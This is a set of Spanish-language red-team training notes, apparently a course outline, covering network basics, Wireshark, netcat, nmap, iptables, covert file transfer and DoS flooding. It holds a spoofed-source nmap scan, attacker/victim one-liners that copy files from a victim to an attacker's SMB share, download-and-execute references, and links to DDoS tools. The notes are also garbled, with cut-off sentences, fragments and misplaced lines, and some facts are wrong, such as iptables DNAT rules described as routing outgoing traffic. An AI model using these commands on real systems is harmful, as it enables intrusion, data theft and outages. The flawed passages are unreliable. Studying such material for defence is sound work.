# WAKE UP SAMURAI - FORMACION EN RED TEAM
Las redes informáticas constituyen el tejido vital de la conectividad moderna, facilitando la comunicación y el intercambio de datos en una escala global. Para comprender el funcionamiento de estas redes, es esencial explorar dos pilares fundamentales: los protocolos TCP/IP y el
## REDES Y SERVICIOS
En el corazón de las redes informáticas yace la premisa de conectar dispositivos para compartir información. Desde los primeros días de la informática, la necesidad de conectar computadoras impulsó el desarrollo de tecnologías de red. Con el tiempo, esto evolucionó hasta formar la infraestructura interconectada que define nuestra era digital.
Una red informática es un conjunto de dispositivos electrónicos, como computadoras, servidores, y dispositivos de red, que están interconectados para compartir recursos y datos. Estas conexiones permiten desde la transmisión de archivos simples hasta la operación de aplicaciones complejas en entornos distribuidos.
### BASICO EN REDES
**TCP/IP: El Protocolo de Internet**
El Protocolo de Control de Transmisión/Protocolo de Internet (TCP/IP) es la columna vertebral de las comunicaciones en red modernas. Este conjunto de protocolos define cómo los datos se envían y reciben a través de las redes, incluida Internet. Aunque a menudo se menciona como TCP/IP, en realidad, consta de dos partes principales: el Protocolo de Control de Transmisión (TCP) y el Protocolo de Internet (IP).
- **Protocolo de Control de Transmisión (TCP):** Este protocolo proporciona una comunicación fiable y orientada a la conexión. Se encarga de dividir los datos en paquetes, enviarlos al destinatario, y garantizar que se hayan recibido correctamente y en el orden correcto. La fiabilidad es esencial para aplicaciones sensibles al tiempo, como la transmisión de archivos y la navegación web.
- **Protocolo de Internet (IP):** Este protocolo se ocupa de la asignación única de direcciones a dispositivos en la red y el enrutamiento de los paquetes de datos de un origen a un destino. IP es la base sobre la cual se construye Internet, permitiendo que los datos se transmitan entre dispositivos independientemente de su ubicación geográfica.
**Modelo OSI: Desglose en Capas para una Comprensión Profunda**
El Modelo de Interconexión de Sistemas Abiertos (OSI) es un marco conceptual que divide las funciones de una red en siete capas. Creado por la Organización Internacional de Normalización (ISO), el Modelo OSI proporciona una estructura que ayuda a comprender y diseñar sistemas de red complejos.
___
### CAPAS DE RED (TCP/IP)
- **Capa Física:** La capa física se ocupa de la transmisión y recepción de bits sin procesar a través de un medio físico, como cables o señales inalámbricas. Define aspectos como la topología de red y las características eléctricas de los cables.
- **Capa de Enlace de Datos:** Esta capa se centra en la transferencia confiable de datos entre dispositivos directamente conectados. Maneja la detección y corrección de errores, así como el control de flujo.
- **Capa de Red:** La capa de red se ocupa de la conmutación y el enrutamiento de datos a través de la red. Aquí, los protocolos como IP desempeñan un papel crucial en la identificación y direccionamiento de dispositivos.
- **Capa de Transporte:** En esta capa, protocolos como TCP garantizan una entrega fiable de datos y controlan el flujo entre sistemas finales. Se encarga de la segmentación y reensamblaje de datos.

En el contexto actual, la capa de red (Capa 3) es de particular importancia. Protocolos como IP permiten la interconexión de diversas redes, creando una red de redes a escala global. Este enfoque descentralizado es la esencia de Internet y permite la comunicación fluida entre dispositivos de todo el mundo.
La Capa de Transporte (Capa 4) también desempeña un papel crucial al garantizar una entrega confiable de datos. Protocolos como TCP permiten la transmisión de datos de extremo a extremo de manera ordenada y sin pérdida, siendo esenciales para aplicaciones sensibles al tiempo.
**La comunicación TCP (Protocolo de Control de Transmisión)** se establece mediante un proceso de tres vías conocido como el "apretón de manos de tres vías" o **"three-way handshake"**. Este proceso implica tres mensajes distintos enviados entre el cliente y el servidor para establecer y sincronizar la conexión. Aquí está el resumen del proceso y la función de cada mensaje:
- SYN (Synchronize): Cuando un cliente quiere iniciar una conexión TCP con un servidor, envía un paquete SYN al servidor. Este paquete indica la intención de establecer una conexión y también incluye un número de secuencia inicial (ISN).
- SYN-ACK (Synchronize-Acknowledge): El servidor, al recibir el paquete SYN, responde con un paquete SYN-ACK. Este paquete indica que está dispuesto a establecer la conexión y también incluye su propio número de secuencia inicial. El servidor también incrementa el número de secuencia que recibió del cliente en 1.
- ACK (Acknowledge): Finalmente, el cliente envía un paquete ACK al servidor. Este paquete confirma que ha recibido el mensaje SYN-ACK del servidor. También incrementa el número de secuencia del servidor en 1.
Después de este intercambio de tres mensajes, la conexión TCP está establecida y ambas partes pueden comenzar a enviar datos de manera bidireccional de manera confiable. Aquí hay una representación más detallada:

## PROTOCOLOS PUERTOS Y SERVICIOS CONOCIDOS
La capa de aplicación es la capa superior en el modelo OSI (Open Systems Interconnection) y abarca una variedad de protocolos y servicios utilizados para las aplicaciones de usuario final. Algunos de los protocolos más comunes en esta capa incluyen HTTP, HTTPS, FTP, SMTP, POP3, IMAP, DNS, y SNMP. A continuación, explicaré algunos conceptos clave asociados con la capa de aplicación:
Protocolos en la Capa de Aplicación:
- HTTP (Hypertext Transfer Protocol): Utilizado para la transferencia de datos en la World Wide Web. La versión segura es HTTPS (HTTP Secure).
FTP (File Transfer Protocol): Utilizado para la transferencia de archivos entre sistemas.
- SMTP (Simple Mail Transfer Protocol): Protocolo de envío de correo electrónico.
- POP3 (Post Office Protocol 3) e IMAP (Internet Message Access Protocol): Utilizados para la recuperación de correo electrónico.
- DNS (Domain Name System): Traduce nombres de dominio a direcciones IP.
- SNMP (Simple Network Management Protocol): Utilizado para la gestión y supervisión de dispositivos de red.
Servicios:
En la capa de aplicación, los "servicios" se refieren a las funciones específicas que proporcionan los protocolos. Por ejemplo, HTTP proporciona servicios para la transferencia de hipertexto, SMTP para el envío de correos electrónicos, y DNS para la resolución de nombres de dominio.
**Puertos en la Capa de Aplicación:**
Los puertos son números de identificación asociados con servicios específicos en un dispositivo. Ayudan a dirigir los datos entrantes al servicio correcto. En la capa de aplicación, los puertos son vitales para distinguir entre diferentes servicios.
Puertos Asociados a Servicios Conocidos:
Algunos ejemplos de puertos asociados a servicios conocidos incluyen:
- HTTP: Puerto 80
- HTTPS: Puerto 443
- FTP: Puerto 21
- SMTP: Puerto 25
- POP3: Puerto 110
- IMAP: Puerto 143
- DNS: Puerto 53
- SNMP: Puerto 161
En el ámbito de la seguridad informática y las auditorías de hacking ético, comprender qué servicios se están ejecutando en una red y en qué puertos están asociados es crucial. Los hackers éticos y profesionales de la seguridad realizan escaneos de puertos para identificar servicios vulnerables o mal configurados que podrían ser explotados por atacantes malintencionados. La monitorización de los registros de actividad en estos puertos también es esencial para detectar posibles amenazas o intrusiones. Además, bloquear puertos innecesarios y asegurar la configuración de los servicios puede mejorar significativamente la postura de seguridad de un sistema o red.


La seguridad de los puertos depende de varios factores, incluidos los protocolos asociados, la configuración del servicio y el propósito del puerto. No hay puertos inherentemente "seguros" o "inseguros", pero algunos son comúnmente asociados con servicios que históricamente han tenido más vulnerabilidades o son más propensos a ataques. Aquí hay algunos ejemplos:
Ejemplos de Protocolos no Seguros y sus Puertos Asociados:
- Telnet (Puerto 23): Telnet es un protocolo de texto no cifrado utilizado para acceder y gestionar dispositivos de red. Como es no cifrado, la información, incluidas las credenciales, se transmite en texto claro, lo que lo hace susceptible a la interceptación y el uso malicioso.
- FTP (Puertos 20 y 21): File Transfer Protocol (FTP) transmite datos y credenciales sin cifrar. FTP utiliza el puerto 21 para el control de comandos y el puerto 20 para la transferencia de datos. La falta de cifrado hace que FTP sea vulnerable a la interceptación.
- HTTP (Puerto 80): El protocolo HTTP es no cifrado, lo que significa que los datos, incluidas las contraseñas, se transmiten sin cifrar. Aunque es común para sitios web públicos, no es seguro para la transmisión de información confidencial.
Ejemplos de Protocolos Seguros y sus Puertos Asociados:
- HTTPS (Puerto 443): Secure Hypertext Transfer Protocol (HTTPS) utiliza el cifrado SSL/TLS para proteger la información transmitida. Es la versión segura de HTTP y se utiliza para transacciones en línea y sitios web que requieren seguridad.
- SSH (Puerto 22): Secure Shell (SSH) proporciona una conexión segura y cifrada para el acceso remoto a sistemas. Es utilizado para administrar dispositivos de red y servidores de forma segura.
- SFTP (Puerto 22 o 115): Secure File Transfer Protocol (SFTP) es una versión segura de FTP que utiliza SSH para la transferencia de archivos de forma cifrada.
Es importante destacar que la seguridad no depende solo del puerto, sino también de la configuración del servicio. Se recomienda encarecidamente utilizar protocolos seguros y cifrados siempre que sea posible para proteger la privacidad y la integridad de los datos transmitidos a través de la red.
### SNIFFING (WIRESHARK & MORE)
Un sniffer de red es una herramienta que intercepta y registra el tráfico de red. Su propósito principal es analizar el flujo de datos en una red para diversos fines, como el diagnóstico de problemas, la monitorización de la actividad de la red y, lamentablemente, también para propósitos maliciosos, como el robo de información.
```
libpcap (packet capture library) es una biblioteca utilizada para capturar paquetes de red en sistemas basados en Unix. Proporciona una interfaz para acceder al flujo de paquetes en tiempo real o desde un archivo de captura.
```
#### Analizador grafico de ficheros PCAP: https://www.capanalysis.net/ca/#download
#### **[+]** Wireshark:
Wireshark es una herramienta de análisis de protocolos de red y un sniffer de paquetes. Utiliza libpcap para capturar paquetes y luego los presenta en una interfaz gráfica de usuario para su análisis detallado. Wireshark es de código abierto y es ampliamente utilizado tanto por profesionales de redes como por entusiastas de la seguridad.
La interfaz de Wireshark está dividida en varias secciones. En la parte superior, hay barras de menús y herramientas, mientras que la parte principal muestra la lista de paquetes capturados y los detalles de un paquete seleccionado. Hay paneles adicionales para información detallada y estadísticas.
**Filtros de wireshark**
Wireshark permite aplicar filtros para seleccionar y mostrar solo los paquetes que cumplen con ciertos criterios. Estos filtros pueden basarse en direcciones IP, protocolos, puertos, y otros campos. Los filtros son esenciales para concentrarse en información específica en entornos de red densos.
Los filtros pueden ser aplicados de dos maneras:
- Filtros predefinidos: Wireshark proporciona una serie de filtros predefinidos que puedes seleccionar desde la barra de herramientas. Estos son útiles para tareas comunes como mostrar solo tráfico HTTP o DNS.
- Filtros personalizados: También puedes crear tus propios filtros utilizando expresiones de filtrado. Por ejemplo, ip.addr == 192.168.1.1 mostrará solo los paquetes que involucren la dirección IP 192.168.1.1.
https://tryhackme.com/room/wiresharkthebasics

1. **Filtro Básico:**
- `ip.addr == 192.168.1.1`
2. **Filtro por Protocolo:**
- `tcp`
3. **Filtro por Puerto:**
- `tcp.port == 80`
4. **Filtro por Rango de IP:**
- `ip.addr == 192.168.1.1 && ip.addr == 192.168.1.2`
5. **Filtro por Dirección MAC:**
- `eth.addr == 00:1e:2a:3c:4d:5e`
6. **Filtro por Tipo de Paquete ICMP:**
- `icmp`
7. **Filtro por Nombre de Host:**
- `dns.qry.name == "www.ejemplo.com"`
8. **Filtro por Longitud de Paquete:**
- `frame.len > 1000`
9. **Filtro de Conversación:**
- `ip.addr == 192.168.1.1 && ip.addr == 192.168.1.2`
10. **Filtro de Expresión Lógica:**
- `(ip.src == 192.168.1.1 && tcp.dstport == 80) || udp`
### Reconocimiento de Redes
#### Protocolos Importantes:
**ICMP y PING:**
El Protocolo de Mensajes de Control de Internet (ICMP) es un protocolo integral en el conjunto de protocolos de Internet y opera en la capa de red del modelo OSI. Su función principal es proporcionar mensajes de control y error entre dispositivos en una red IP. ICMP no está diseñado para transportar datos de usuario, sino que se centra en la administración y resolución de problemas de red.
Uno de los usos más conocidos de ICMP es a través de la utilidad PING. PING se utiliza para enviar paquetes de solicitud de eco a un destino específico, y el dispositivo de destino responde con paquetes de respuesta de eco. Este proceso se utiliza para verificar la conectividad entre dispositivos en una red.
Cuando se envía un paquete PING, el dispositivo emisor crea un mensaje ICMP de solicitud de eco. Este mensaje incluye información como la hora de envío y una carga útil de datos. Cuando el dispositivo de destino recibe este mensaje, responde creando un mensaje ICMP de respuesta de eco, devolviendo la carga útil de datos recibida y otra información, como la hora de recepción.
Este intercambio de mensajes ICMP de solicitud y respuesta de eco permite verificar la disponibilidad y el tiempo de respuesta de dispositivos en una red. Sin embargo, es importante destacar que algunos dispositivos y redes pueden estar configurados para ignorar o bloquear mensajes ICMP por razones de seguridad.
- **Descripción:** ICMP (Protocolo de Mensajes de Control de Internet) se utiliza comúnmente con PING para verificar la conectividad entre dispositivos.
- **Uso en Reconocimiento:** Puede revelar la existencia de dispositivos en una red y su disponibilidad.
**ARP (Protocolo de Resolución de Direcciones):**
El Protocolo de Resolución de Direcciones (ARP) opera en la capa de enlace de datos del modelo OSI y desempeña un papel crucial en la conectividad en redes locales. ARP se utiliza para mapear direcciones IP a direcciones MAC, ya que los dispositivos en una red local necesitan direcciones MAC para la entrega de paquetes en la capa de enlace.
Cuando un dispositivo necesita comunicarse con otro en la misma red local, primero verifica si la dirección IP de destino está en su propia red. Si es así, consulta su tabla ARP local para ver si ya tiene una entrada para la dirección IP de destino. Si no encuentra una entrada, inicia una solicitud ARP.
La solicitud ARP se emite como una transmisión de difusión (broadcast) a todos los dispositivos en la red local, y contiene la consulta del dispositivo emisor sobre la dirección MAC asociada a una dirección IP específica. El dispositivo destino, al recibir la solicitud ARP dirigida a su dirección IP, responde con un mensaje ARP que contiene su dirección MAC.
Este intercambio de mensajes ARP permite que los dispositivos en una red local descubran las direcciones MAC de otros dispositivos, lo que es esencial para la entrega efectiva de paquetes en la capa de enlace de datos.
En resumen, tanto ICMP como ARP son protocolos fundamentales en la construcción y mantenimiento de redes. ICMP facilita la comunicación de control y la resolución de problemas, mientras que ARP asegura la correspondencia entre direcciones IP y direcciones MAC en redes locales. Comprender cómo funcionan estos protocolos a nivel teórico es esencial para cualquier profesional de redes y seguridad informática.
- **Descripción:** ARP se utiliza para mapear direcciones IP a direcciones MAC.
- **Uso en Reconocimiento:** Proporciona información sobre la topología de red y puede ser utilizado para el descubrimiento de hosts.
___
## Netcat (nc): Una Herramienta Versátil en Seguridad Informática
Netcat, comúnmente conocido como nc, es una herramienta de red que ha ganado gran popularidad en el ámbito de la seguridad informática debido a su versatilidad y potencia. Originariamente desarrollado como una utilidad de lectura y escritura de datos a través de conexiones TCP y UDP, netcat ha evolucionado para convertirse en una herramienta esencial en la caja de herramientas de cualquier profesional de la seguridad.
**¿Qué es Netcat y Cómo Funciona?**
En su forma más básica, Netcat actúa como un canal para la transmisión de datos entre dos puntos en una red. Puede escuchar en puertos, establecer conexiones TCP o UDP, y facilitar la transferencia de datos bidireccional. Esto hace que sea útil para una variedad de tareas, desde pruebas de conectividad hasta transferencias de archivos y, por supuesto, auditorías de seguridad.
Netcat se puede utilizar tanto en el modo de escucha como en el modo de cliente. En el modo de escucha, espera las conexiones entrantes y, en el modo de cliente, inicia una conexión con un host y puerto específicos. Su capacidad para manejar tanto TCP como UDP lo hace flexible en diferentes contextos de red.
**Banner Grabbing y su Importancia en Auditorías de Hacking Ético:**
Banner grabbing es el proceso de obtener información sobre un servicio en un servidor remoto. Consiste en extraer el banner, que es la información de identificación del servicio, que un servicio específico envía cuando alguien se conecta a él. Esta información a menudo incluye detalles sobre la versión del servicio y, a veces, detalles sobre el sistema operativo.
En auditorías de hacking ético, el banner grabbing es fundamental para entender la topología de red y las vulnerabilidades potenciales. La información obtenida a través del banner grabbing puede revelar servicios desactualizados o versiones con conocidas vulnerabilidades de seguridad. Netcat es una herramienta valiosa en este contexto porque permite realizar conexiones simples y rápidas para extraer estos banners.
**Ejemplos de Banner Grabbing con Netcat:**
Imaginemos que queremos obtener información sobre el servicio SSH en un servidor remoto. Podemos usar Netcat de la siguiente manera:
```nc -v <direccion_ip> 22```
En este comando, -v activa el modo verbose para obtener más detalles. La dirección IP es la del servidor remoto, y 22 es el puerto asociado con SSH. Una vez que se establece la conexión, el banner del servicio SSH se muestra en la salida, revelando información valiosa para propósitos de auditoría.
**Escaneo de Puertos con Netcat:**
Netcat también puede utilizarse para realizar escaneo de puertos, una técnica común en auditorías de seguridad. Por ejemplo, para realizar un escaneo de puertos TCP en los primeros 1000 puertos de un host remoto, se puede utilizar el siguiente comando:
```nc -zv <direccion_ip> 1-1000```
En este comando, -z indica a Netcat que solo debe escanear los puertos sin enviar ningún dato, y 1-1000 especifica el rango de puertos a escanear. El resultado mostrará los puertos abiertos y accesibles en el host remoto.
### NMAP: Explorando las Profundidades de la Red
Nmap, abreviatura de "Network Mapper", es una herramienta de código abierto ampliamente utilizada para descubrir dispositivos en una red y mapear la topología de la misma. Su versatilidad y capacidad para realizar escaneos exhaustivos hacen que sea una opción esencial en el arsenal de cualquier profesional de seguridad informática.
**¿Cómo Funciona Nmap?**
Nmap opera enviando paquetes personalizados a través de la red y analizando las respuestas. Dependiendo de la configuración y los parámetros proporcionados, Nmap puede realizar diversos tipos de escaneos, incluidos escaneos de puertos TCP y UDP, detección de servicios y sistemas operativos, entre otros.
Parámetros Principales de Nmap y sus usos:
- **-sP (Escaneo Ping):**
Descripción: Realiza un escaneo de ping simple para determinar qué hosts están activos en la red.
```Ejemplo de Uso: nmap -sP 192.168.1.0/24```
- **-sV (Detección de Versiones):**
Descripción: Intenta determinar las versiones de los servicios que se ejecutan en los puertos encontrados.
```Ejemplo de Uso: nmap -sV 192.168.1.1```
- **-sC (Escaneo y Ejecución de Scripts):**
Descripción: Ejecuta scripts de servicio comunes contra los puertos encontrados.
```Ejemplo de Uso: nmap -sC 192.168.1.1```
- **--script vuln (Escaneo de Vulnerabilidades):**
Descripción: Escanea en busca de vulnerabilidades conocidas.
```Ejemplo de Uso: nmap --script vuln 192.168.1.1```
- **-p- (Escaneo de Todos los Puertos):**
Descripción: Escanea todos los 65535 puertos, en lugar de los puertos comunes.
```Ejemplo de Uso: nmap -p- 192.168.1.1```
- **-PN (Sin Escaneo de Ping):**
Descripción: Ignora el descubrimiento de host y asume que el host está activo.
```Ejemplo de Uso: nmap -PN 192.168.1.1```
- **-sT (Escaneo TCP):**
Descripción: Realiza un escaneo de puertos TCP.
```Ejemplo de Uso: nmap -sT 192.168.1.1```
- **-sU (Escaneo UDP):**
Descripción: Realiza un escaneo de puertos UDP, útil para servicios que utilizan este protocolo.
```Ejemplo de Uso: nmap -sU 192.168.1.1```
- **-sS (Escaneo TCP SYN):**
Descripción: Escanea puertos utilizando el método TCP SYN, útil para eludir firewalls.
```Ejemplo de Uso: nmap -sS 192.168.1.1```
- **-A (Escaneo Agresivo):**
Descripción: Activa opciones agresivas como detección de versiones, escaneo de scripts y detección de sistemas operativos.
```Ejemplo de Uso: nmap -A 192.168.1.1```
https://tryhackme.com/room/furthernmap
netdiscover
- ARP, que es el protocolo arp y c

nbtscan
- protocolos calisos en redes windows que permiten el reconocimeinto de equpos, ejemplo con netbios
#### Seguridad en el Reconocimiento de Redes:
1. **Firewalls:**
- **Importancia:** Los firewalls pueden bloquear o permitir el tráfico basado en reglas predefinidas, protegiendo así la red contra escaneos y ataques.
2. **Configuraciones de Red:**
- **Subneteo:** Divide la red en subredes más pequeñas, limitando la visibilidad de los hosts.
- **ACL (Listas de Control de Acceso):** Restringe el tráfico basado en políticas definidas.
### TRATAMIENTO DEL TRAFICO (IPTABLES)
**Iptables y Reglas de Firewall:**
Iptables es una herramienta de firewall en sistemas Linux que permite configurar reglas para controlar el tráfico de red, tanto entrante como saliente. Puede utilizarse para bloquear IPs maliciosas, restringir el acceso a servicios y realizar tareas avanzadas de gestión de tráfico.
**EJEMPLOS**
- Enrutamiento de todo el tráfico saliente a través de un proxy SOCKS en la IP 10.0.0.4:
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.4:1080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j DNAT --to-destination 10.0.0.4:1080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 21 -j DNAT --to-destination 10.0.0.4:1080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 53 -j DNAT --to-destination 10.0.0.4:1080
# Esta regla enruta todo el tráfico saliente en el puerto 80 (HTTP) desde la interfaz eth0 a la IP del proxy SOCKS en 10.0.0.4 en el puerto 1080. Asegúrate de que la configuración de tu proxy SOCKS esté en su lugar.
- Bloquear todo el tráfico entrante de una IP en concreto:
kali@kalihost$ iptables -A INPUT -s IP_A_BLOQUEAR -j DROP
Reemplaza IP_A_BLOQUEAR con la dirección IP que deseas bloquear. Esta regla evitará que cualquier tráfico entrante de esa IP acceda a tu servidor.
**IP SPOOFING BYPASS**
https://github.com/StackOverflowExcept1on/ip-spoofing
```
Scan 1:
#nmap -sS -T4 192.168.1.78
This is the most basic scan we can do. It's called a stealth scan. The scan came back with 2 ports open. At the surface level this tells us only a little bit. Many people will stop here but there is more going on with our target.
Scan 2:
#nmap -sS -T4 -S 192.168.1.79 -e eth0 192.168.1.78
Our next scan is where we see spoofing taking place. What's happening here is that we are sending packets to our target machine and we putting in the packet that we are sending a source IP of a different machine.
```
El comando nmap -sS IP es una invocación de la herramienta Nmap (Network Mapper) que se utiliza para realizar un escaneo de puertos en un host o dirección IP. Aquí está la explicación de cada parte del comando:
nmap: Este es el comando que inicia la herramienta Nmap. Nmap es una utilidad de código abierto ampliamente utilizada para escanear redes y descubrir información sobre los sistemas en una red.
-sS: Esta es una opción que especifica la técnica de escaneo que se utilizará. En este caso, -sS representa el escaneo de tipo SYN (SYN Scan). El escaneo SYN es una técnica de escaneo de puertos que implica el envío de paquetes SYN (solicitud de inicio de una conexión) a los puertos del host de destino. Si se recibe una respuesta SYN/ACK (solicitud de inicio aceptada) del puerto, se considera que el puerto está abierto. Si se recibe un RST (restablecimiento de la conexión), se considera que el puerto está cerrado.

- Bloquear todo el tráfico WEB saliente al dominio "ejemplo.com":
kali@kalihost$ iptables -A OUTPUT -d ejemplo.com -j DROP
Esta regla bloqueará cualquier tráfico saliente destinado al dominio "ejemplo.com", lo que impide que la máquina acceda a dicho dominio.
#### DETALLES DE LOS COMANDOS
**iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set:**
iptables: Este comando se utiliza para administrar reglas de iptables.
-A INPUT: Agrega una regla a la cadena INPUT, que se encarga del tráfico de entrada.
-p tcp: Se aplica a paquetes TCP.
--dport 22: Esta regla se aplica a paquetes destinados al puerto 22, que es el puerto estándar para SSH.
-m state --state NEW: Utiliza el módulo state para especificar que esta regla se aplica a paquetes que están en estado NEW, es decir, conexiones nuevas que intentan establecerse.
-m recent --set: Establece un contador para rastrear las conexiones entrantes al puerto 22.
En resumen, esta regla inicia el seguimiento de las conexiones entrantes al puerto SSH (22) y registra cuándo se establecen nuevas conexiones.
**iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 -j DROP:**
iptables -A INPUT: Agrega una regla a la cadena INPUT.
-p tcp: Se aplica a paquetes TCP.
--dport 22: Se aplica a paquetes destinados al puerto 22 (SSH).
-m state --state NEW: Se aplica a paquetes en estado NEW.
-m recent --update --seconds 60 --hitcount 4 -j DROP:
--update: Esta parte de la regla verifica si se cumple una condición específica.
--seconds 60: Revisa las conexiones entrantes en el último minuto (60 segundos).
--hitcount 4: Si se han recibido al menos 4 conexiones entrantes dentro del último minuto, se ejecuta la acción especificada.
-j DROP: Esta es la acción a tomar si se cumplen las condiciones anteriores. En este caso, se descartan los paquetes, lo que significa que se bloquea el tráfico entrante al puerto 22.
En resumen, esta regla verifica si ha habido al menos 4 intentos de conexión SSH en el último minuto y, si es así, bloquea (descarta) los intentos de conexión adicionales.
**iptables -A INPUT -p tcp --dport 22 -s IP1_PERMITIDA -j ACCEPT:**
iptables -A INPUT: Agrega una regla a la cadena INPUT.
-p tcp: Se aplica a paquetes TCP.
--dport 22: Se aplica a paquetes destinados al puerto 22 (SSH).
-s IP1_PERMITIDA: Permite el acceso SSH desde la dirección IP especificada en lugar de bloquearla.
-j ACCEPT: Esta es la acción a tomar si la dirección IP de origen coincide con la dirección especificada. En este caso, se acepta la conexión SSH.
En resumen, esta regla permite el acceso SSH desde la dirección IP especificada (IP1_PERMITIDA).
**iptables -A INPUT -p tcp --dport 22 -s IP2_PERMITIDA -j ACCEPT:**
Este comando es similar al anterior, pero se aplica a una segunda dirección IP permitida (IP2_PERMITIDA).
En conjunto, estas reglas permiten el acceso SSH solo desde las direcciones IP especificadas (IP1_PERMITIDA y IP2_PERMITIDA) y bloquean las conexiones adicionales si hay intentos excesivos desde otras direcciones IP en un período de tiempo corto. Esto ayuda a proteger el acceso SSH contra intentos de fuerza bruta o ataques similares.
### CANALES ENCUBIERTOS v.0
**Download and execute**
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md
El repositorio de GitHub al que haces referencia, llamado "PayloadsAllTheThings," es una amplia colección de técnicas, metodologías y recursos relacionados con pruebas de seguridad, auditorías de seguridad y hacking ético. Está diseñado para ser una fuente de referencia para profesionales de seguridad, auditores y entusiastas de la seguridad informática. El repositorio cubre diversas plataformas y tecnologías, incluidas las de Windows.
El archivo específico al que te refieres en el repositorio se llama "Windows - Download and Execute.md." Este archivo parece centrarse en técnicas y comandos que se utilizan en entornos de Windows para descargar y ejecutar archivos de forma remota. A menudo, los profesionales de seguridad y los auditores utilizan estas técnicas para demostrar vulnerabilidades o debilidades en sistemas y aplicaciones. Algunas de las técnicas comunes que se abordan en este tipo de documentos incluyen:
**Descarga de archivos con PowerShell**: PowerShell es una herramienta potente en entornos de Windows. Puede utilizarse para descargar archivos de Internet y ejecutarlos directamente desde la memoria.
**Descarga de archivos con certutil**: Certutil es una utilidad en Windows que permite realizar varias operaciones con certificados, incluida la descarga de archivos. Los atacantes a menudo abusan de esta herramienta para descargar archivos maliciosos.
**Descarga de archivos con bitsadmin**: Bitsadmin es una herramienta de línea de comandos que se utiliza para crear tareas de transferencia de archivos. Los comandos bitsadmin pueden utilizarse para descargar archivos desde la web.
**Descarga de archivos con Windows Management Instrumentation (WMI)**: WMI es una tecnología que permite la administración de dispositivos y sistemas en red en entornos Windows. Puede utilizarse para descargar archivos en una red.
**Descarga de archivos con regsvr32**: regsvr32 es una utilidad en Windows que se utiliza para registrar bibliotecas de vínculos dinámicos (DLL). A veces se utiliza para ejecutar scripts o descargar archivos.
**Descarga de archivos con BITS (Background Intelligent Transfer Service)**: BITS es un servicio de Windows que administra la transferencia de archivos en segundo plano. Los atacantes a menudo aprovechan BITS para descargar archivos de forma sigilosa.
Estos comandos y técnicas son útiles para los profesionales de seguridad porque les permiten evaluar la seguridad de un sistema o red. Al comprender cómo se pueden descargar y ejecutar archivos en sistemas Windows, pueden identificar posibles puntos débiles y recomendar medidas de mitigación. Además, estas técnicas pueden ayudar a los profesionales de seguridad a demostrar vulnerabilidades y educar a las organizaciones sobre las amenazas potenciales.
Run servies tools 4 hacking and file transfering.
**Servicios que Puedes Levantar con "Oneliners" en Linux:**
1. **Servidor Web HTTP (Python SimpleHTTPServer):**
```bash
nc -nlvp 4444 > file_transfered.txt
nc IP PORT < file.txt
python -m SimpleHTTPServer 80
php -S 0.0.0.0:8008
attacker-win> New-SmbShare -Name SharedFolder -Path C:\Path\To\Folder -FullAccess "Everyone"
attacker-kali> impacket-smbserver -smb2support <sharename> .
victim-win> copy file \\KaliIP\sharename
```
___
### FLOODING DDOS
**Ataques de Denegación de Servicio (DoS) y Flooding:**
Los ataques de Denegación de Servicio (DoS) son intentos maliciosos de hacer que un servicio, recurso o sistema de red no esté disponible para sus usuarios legítimos al inundarlo con tráfico malicioso. El objetivo de un ataque DoS es abrumar un sistema, agotar sus recursos o explotar vulnerabilidades para interrumpir su funcionamiento normal.
Uno de los enfoques comunes para llevar a cabo un ataque DoS es el "flooding", que implica inundar un sistema objetivo con una gran cantidad de tráfico, agotando sus recursos y capacidad de respuesta.
Existen varios métodos de ataque DoS según las capas del modelo OSI, que se dirigen a diferentes partes de una red o sistema. Aquí hay ejemplos de ataques de Denegación de Servicio en diferentes capas de red:
1. **Capa 3 (Red):**
- **Ataque de Flooding ARP (ARP Flooding):** En este ataque, el atacante envía una gran cantidad de solicitudes ARP falsas para inundar la tabla ARP de un dispositivo o una red, lo que puede provocar la interrupción de la conectividad.
- **Ataque de Flood ICMP (Ping Flood):** El atacante envía un gran número de solicitudes de eco ICMP (ping) al sistema objetivo para saturar sus recursos de procesamiento.
- **Ataque de Flooding SYN (SYN Flood):** Este es un tipo de ataque DoS en la capa de transporte. El atacante envía una gran cantidad de solicitudes de inicio de conexión SYN a un servidor, lo que puede agotar sus recursos.
2. **Capa 4 (Transporte):**
- **Ataque de Flood UDP (UDP Flood):** El atacante envía una gran cantidad de paquetes UDP a un servidor o servicio, lo que puede sobrecargar los recursos del servidor.
3. **Capa 7 (Aplicación):**
- **Ataque HTTP Flood:** Se dirige a aplicaciones web y servicios HTTP. Los atacantes inundan el servidor con una gran cantidad de solicitudes HTTP legítimas para agotar los recursos del servidor web.
- **Ataque de inundación DNS (DNS Flood):** Se enfoca en los servidores DNS. Los atacantes inundan el servidor DNS con consultas, lo que puede afectar la resolución de nombres de dominio.
- **(DHCP starvation attack):** Un ataque dirigido a servidores DHCP mediante el cual un atacante falsifica solicitudes DHCP con la intención de agotar todas las direcciones IP disponibles que pueden ser asignadas por el servidor DHCP..
**Herramientas Relacionadas:**
- **LOIC (Low Orbit Ion Cannon):** Una herramienta que se ha utilizado en ataques DoS y DDoS para inundar un objetivo con tráfico.
- **XerXes:** Un conjunto de herramientas de prueba de estrés que incluye un ataque DoS HTTP Flood.
https://github.com/sepehrdaddev/Xerxes


MAS HERRAMIENTAS ENFOCADAS AL FLOODING - DDOS
https://github.com/rootVIII/gosynflood
https://github.com/MatrixTM/MHDDoS
https://github.com/Leeon123/TCP-UDP-Flood
https://github.com/palahsu/DDoS-Ripper
**UFONet:**
UFONet es una herramienta de prueba de estrés y DoS diseñada específicamente para ataques DoS y DDoS en aplicaciones web. Utiliza el protocolo HTTP para inundar un objetivo con solicitudes web, lo que puede llevar a la sobrecarga de recursos y la denegación de servicio. UFONet se ha utilizado en pruebas de seguridad y en ataques ilegítimos para probar la resistencia de los servidores web frente a ataques de inundación. Es importante recordar que el uso de UFONet u otras herramientas similares con fines ilegales es ilegal y puede tener graves consecuencias legales.
https://github.com/epsylon/ufonet

- Permitir que solo una serie de direcciones IP accedan a un servicio SSH:
kali@kalihost$ iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set
